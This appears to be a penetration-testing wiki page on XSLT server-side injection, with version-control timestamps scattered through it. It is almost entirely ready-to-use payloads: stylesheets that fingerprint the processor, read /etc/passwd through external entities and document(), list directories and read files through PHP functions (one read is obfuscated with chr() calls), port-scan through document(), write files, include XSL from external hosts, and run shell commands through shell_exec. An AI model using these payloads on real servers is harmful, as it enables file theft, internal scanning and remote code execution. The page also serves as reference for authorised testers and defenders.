2020-07-15 15:43:14 +00:00
# XSLT Server Side Injection \(Extensible Stylesheet Languaje Transformations\)
It is used to transform XML documents in another kind. Versions: 1, 2 and 3 \(1 is the most used\).
The transformation can be done in the server or in the browser\).
The most used frameworks are: **Libxslt** \(Gnome\), **Xalan** \(Apache\) and **Saxon** \(Saxonica\).
2020-09-04 16:48:26 +00:00
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ ](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ )
2020-07-15 15:43:14 +00:00
## Fingerprint
Upload this and take information
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="ISO-8859-1"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
Version: < xsl:value-of select = "system-property('xsl:version')" / > < br / >
Vendor: < xsl:value-of select = "system-property('xsl:vendor')" / > < br / >
Vendor URL: < xsl:value-of select = "system-property('xsl:vendor-url')" / > < br / >
< xsl:if test = "system-property('xsl:product-name')" >
Product Name: < xsl:value-of select = "system-property('xsl:product-name')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:product-version')" >
Product Version: < xsl:value-of select = "system-property('xsl:product-version')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl:value-of select = "system-property('xsl:is-schema-aware')" / > < br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl:value-of select = "system-property('xsl:supportsserialization')"
/>< br / >
< / xsl:if >
< xsl:if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl:value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br / >
< / xsl:if >
< / xsl:template >
< / xsl:stylesheet >
```
2020-09-04 15:35:33 +00:00
## External HTTP Request
```markup
< esi:include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" >
< / esi:include >
```
2020-07-15 15:43:14 +00:00
## Javascript Injection
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
< script > confirm ( "We're good" ) ; < / script >
< / xsl:template >
< / xsl:stylesheet >
```
## Directory listing \(PHP\)
### **Opendir + readdir**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('opendir','/path/to/dir')" / >
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< xsl:value-of select = "php:function('readdir')" / > -
< / xsl:template > < / xsl:stylesheet >
```
### **Assert \(var\_dump + scandir + false\)**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" / >
< br / >
< / body >
< / html >
```
## Read files
### **Internal**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd"> ]>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
&ext_file;
< / xsl:template >
< / xsl:stylesheet >
```
### **Through HTTP**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/" >
< xsl:value-of select = "document('/etc/passwd')" / >
< / xsl:template >
< / xsl:stylesheet >
```
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
< !DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" > ]>
< xsl:template match = "/" >
&passwd;
< / xsl:template >
```
### **Internal \(PHP\)**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('file_get_contents','/path/to/file')" / >
< / xsl:template >
< / xsl:stylesheet >
```
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:copy-of name = "asd" select = "php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" / >
< br / >
< / body >
< / html >
```
### Port scan
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "document('http://example.com:22')" / >
< / xsl:template >
< / xsl:stylesheet >
```
## Write to a file
### XSLT 2.0
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:result-document href = "local_file.txt" >
< xsl:text > Write Local File< / xsl:text >
< / xsl:result-document >
< / xsl:template >
< / xsl:stylesheet >
```
### **Xalan-J extension**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
< xsl:template match = "/" >
< redirect:open file = "local_file.txt" / >
< redirect:write file = "local_file.txt" / > Write Local File< / redirect:write >
< redirect:close file = "loxal_file.txt" / >
< / xsl:template >
```
Other ways to write files in the PDF
## Include external XSL
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
< xsl:include href = "http://extenal.web/external.xsl" / >
```
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
## Execute code
### **php:function**
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('shell_exec','sleep 10')" / >
< / xsl:template >
< / xsl:stylesheet >
```
2020-09-04 13:24:41 +00:00
```markup
2020-07-15 15:43:14 +00:00
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)));')" / >
< br / >
< / body >
< / html >
```
Execute code using other frameworks in the PDF
2020-09-04 18:29:25 +00:00
### **More Languages**
2020-07-15 15:43:14 +00:00
2020-09-04 18:29:25 +00:00
**In this page you can find examples of RCE in other languajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection\#C%23%2FVB.NET%2FASP.NET** ](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET ) ** \(C\#, Java, PHP\)**
## **References**
* [XSLT\_SSRF ](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf )
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf ](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf )
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf ](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf )
2020-07-15 15:43:14 +00:00
